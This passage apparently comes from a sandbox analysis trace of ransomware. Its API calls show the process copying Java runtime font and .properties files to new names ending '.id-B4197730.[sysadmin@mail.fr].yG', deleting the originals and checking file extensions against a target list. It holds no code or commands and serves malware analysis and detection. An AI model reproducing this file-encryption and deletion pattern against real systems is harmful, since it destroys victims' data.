	[0145.375] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.459] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.459] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.459] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0145.611] GetLastError () returned 0x0
	[0145.611] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x4d9c8, lpOverlapped=0x0) returned 1
	[0145.630] WriteFile (in: hFile=0x530, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x4d9d0, lpOverlapped=0x0) returned 1
	[0145.636] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.637] WriteFile (in: hFile=0x530, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x100, lpOverlapped=0x0) returned 1
	[0145.637] SetEndOfFile (hFile=0x530) returned 1
	[0145.637] CloseHandle (hObject=0x530) returned 1
	[0145.637] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.637] SetEndOfFile (hFile=0x518) returned 1
	[0145.648] CloseHandle (hObject=0x518) returned 1
	[0145.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0145.649] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1
	[0145.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.649] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.649] lstrlenW (lpString=".doc") returned 4
	[0145.649] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.649] lstrlenW (lpString=".docx") returned 5
	[0145.649] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0145.649] lstrlenW (lpString=".pdf") returned 4
	[0145.650] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.650] lstrlenW (lpString=".xls") returned 4
	[0145.650] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.650] lstrlenW (lpString=".xlsx") returned 5
	[0145.650] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0145.650] lstrlenW (lpString=".ppt") returned 4
	[0145.650] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.650] lstrlenW (lpString=".zip") returned 4
	[0145.650] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.650] lstrlenW (lpString=".rar") returned 4
	[0145.650] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.650] lstrlenW (lpString=".bz2") returned 4
	[0145.650] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.650] lstrlenW (lpString=".7z") returned 3
	[0145.650] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.650] lstrlenW (lpString=".dbf") returned 4
	[0145.650] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.651] lstrlenW (lpString=".1cd") returned 4
	[0145.651] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.651] lstrlenW (lpString=".jpg") returned 4
	[0145.651] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.651] lstrlenW (lpString=".doc") returned 4
	[0145.651] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.651] lstrlenW (lpString=".docx") returned 5
	[0145.651] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0145.651] lstrlenW (lpString=".pdf") returned 4
	[0145.651] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.651] lstrlenW (lpString=".xls") returned 4
	[0145.651] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.651] lstrlenW (lpString=".xlsx") returned 5
	[0145.652] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0145.652] lstrlenW (lpString=".ppt") returned 4
	[0145.652] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.652] lstrlenW (lpString=".zip") returned 4
	[0145.652] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.652] lstrlenW (lpString=".rar") returned 4
	[0145.652] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.652] lstrlenW (lpString=".bz2") returned 4
	[0145.652] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.652] lstrlenW (lpString=".7z") returned 3
	[0145.652] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.652] lstrlenW (lpString=".dbf") returned 4
	[0145.652] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.652] lstrlenW (lpString=".1cd") returned 4
	[0145.652] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67
	[0145.653] lstrlenW (lpString=".jpg") returned 4
	[0145.653] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.653] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0145.653] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24
	[0145.653] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.654] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=234068) returned 1
	[0145.654] CloseHandle (hObject=0x518) returned 1
	[0145.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20
	[0145.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.654] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.654] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.654] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.655] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0145.655] GetLastError () returned 0x0
	[0145.655] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x39254, lpOverlapped=0x0) returned 1
	[0145.726] WriteFile (in: hFile=0x530, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x39260, lpOverlapped=0x0) returned 1
	[0145.732] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.732] WriteFile (in: hFile=0x530, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x104, lpOverlapped=0x0) returned 1
	[0145.732] SetEndOfFile (hFile=0x530) returned 1
	[0145.733] CloseHandle (hObject=0x530) returned 1
	[0145.733] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.733] SetEndOfFile (hFile=0x518) returned 1
	[0145.742] CloseHandle (hObject=0x518) returned 1
	[0145.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0145.746] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1
	[0145.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.747] lstrlenW (lpString=".doc") returned 4
	[0145.747] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.747] lstrlenW (lpString=".docx") returned 5
	[0145.747] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0145.747] lstrlenW (lpString=".pdf") returned 4
	[0145.747] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.747] lstrlenW (lpString=".xls") returned 4
	[0145.747] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.748] lstrlenW (lpString=".xlsx") returned 5
	[0145.748] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0145.748] lstrlenW (lpString=".ppt") returned 4
	[0145.748] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.748] lstrlenW (lpString=".zip") returned 4
	[0145.748] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.748] lstrlenW (lpString=".rar") returned 4
	[0145.748] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.748] lstrlenW (lpString=".bz2") returned 4
	[0145.748] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.748] lstrlenW (lpString=".7z") returned 3
	[0145.748] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.748] lstrlenW (lpString=".dbf") returned 4
	[0145.748] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.748] lstrlenW (lpString=".1cd") returned 4
	[0145.748] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.748] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.749] lstrlenW (lpString=".jpg") returned 4
	[0145.749] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.749] lstrlenW (lpString=".doc") returned 4
	[0145.749] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0145.749] lstrlenW (lpString=".docx") returned 5
	[0145.749] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0145.749] lstrlenW (lpString=".pdf") returned 4
	[0145.749] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0145.749] lstrlenW (lpString=".xls") returned 4
	[0145.749] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0145.749] lstrlenW (lpString=".xlsx") returned 5
	[0145.749] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0145.749] lstrlenW (lpString=".ppt") returned 4
	[0145.749] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0145.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.749] lstrlenW (lpString=".zip") returned 4
	[0145.749] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0145.749] lstrlenW (lpString=".rar") returned 4
	[0145.749] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0145.749] lstrlenW (lpString=".bz2") returned 4
	[0145.749] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0145.749] lstrlenW (lpString=".7z") returned 3
	[0145.749] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0145.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.750] lstrlenW (lpString=".dbf") returned 4
	[0145.750] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0145.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.750] lstrlenW (lpString=".1cd") returned 4
	[0145.750] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0145.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0145.750] lstrlenW (lpString=".jpg") returned 4
	[0145.750] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0145.750] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0145.750] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33
	[0145.750] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.752] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=13962) returned 1
	[0145.752] CloseHandle (hObject=0x518) returned 1
	[0145.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20
	[0145.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.753] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.753] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.753] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.753] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0145.754] GetLastError () returned 0x0
	[0145.754] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x368a, lpOverlapped=0x0) returned 1
	[0145.840] WriteFile (in: hFile=0x530, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x3690, lpOverlapped=0x0) returned 1
	[0145.841] ReadFile (in: hFile=0x518, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0145.841] WriteFile (in: hFile=0x530, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x116, lpOverlapped=0x0) returned 1
	[0145.841] SetEndOfFile (hFile=0x530) returned 1
	[0145.841] CloseHandle (hObject=0x530) returned 1
	[0145.841] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.842] SetEndOfFile (hFile=0x518) returned 1
	[0145.845] CloseHandle (hObject=0x518) returned 1
	[0145.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0145.846] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1
	[0145.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.847] lstrlenW (lpString=".doc") returned 4
	[0145.847] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0145.847] lstrlenW (lpString=".docx") returned 5
	[0145.847] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0145.847] lstrlenW (lpString=".pdf") returned 4
	[0145.847] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0145.847] lstrlenW (lpString=".xls") returned 4
	[0145.847] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0145.847] lstrlenW (lpString=".xlsx") returned 5
	[0145.847] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0145.847] lstrlenW (lpString=".ppt") returned 4
	[0145.847] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0145.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.848] lstrlenW (lpString=".zip") returned 4
	[0145.848] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0145.848] lstrlenW (lpString=".rar") returned 4
	[0145.848] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0145.848] lstrlenW (lpString=".bz2") returned 4
	[0145.848] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0145.848] lstrlenW (lpString=".7z") returned 3
	[0145.848] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0145.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.848] lstrlenW (lpString=".dbf") returned 4
	[0145.848] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0145.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.848] lstrlenW (lpString=".1cd") returned 4
	[0145.848] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0145.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.848] lstrlenW (lpString=".jpg") returned 4
	[0145.848] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0145.848] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.849] lstrlenW (lpString=".doc") returned 4
	[0145.849] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0145.849] lstrlenW (lpString=".docx") returned 5
	[0145.849] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0145.849] lstrlenW (lpString=".pdf") returned 4
	[0145.849] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0145.849] lstrlenW (lpString=".xls") returned 4
	[0145.849] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0145.849] lstrlenW (lpString=".xlsx") returned 5
	[0145.849] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0145.849] lstrlenW (lpString=".ppt") returned 4
	[0145.849] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0145.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.849] lstrlenW (lpString=".zip") returned 4
	[0145.849] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0145.849] lstrlenW (lpString=".rar") returned 4
	[0145.849] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0145.849] lstrlenW (lpString=".bz2") returned 4
	[0145.849] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0145.849] lstrlenW (lpString=".7z") returned 3
	[0145.849] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0145.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.850] lstrlenW (lpString=".dbf") returned 4
	[0145.850] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0145.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.850] lstrlenW (lpString=".1cd") returned 4
	[0145.850] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0145.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0145.850] lstrlenW (lpString=".jpg") returned 4
	[0145.850] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0145.850] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0145.850] lstrlenW (lpString="cursors.properties") returned 18
	[0145.850] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0145.854] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=1280) returned 1
	[0145.854] CloseHandle (hObject=0x518) returned 1
	[0145.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20
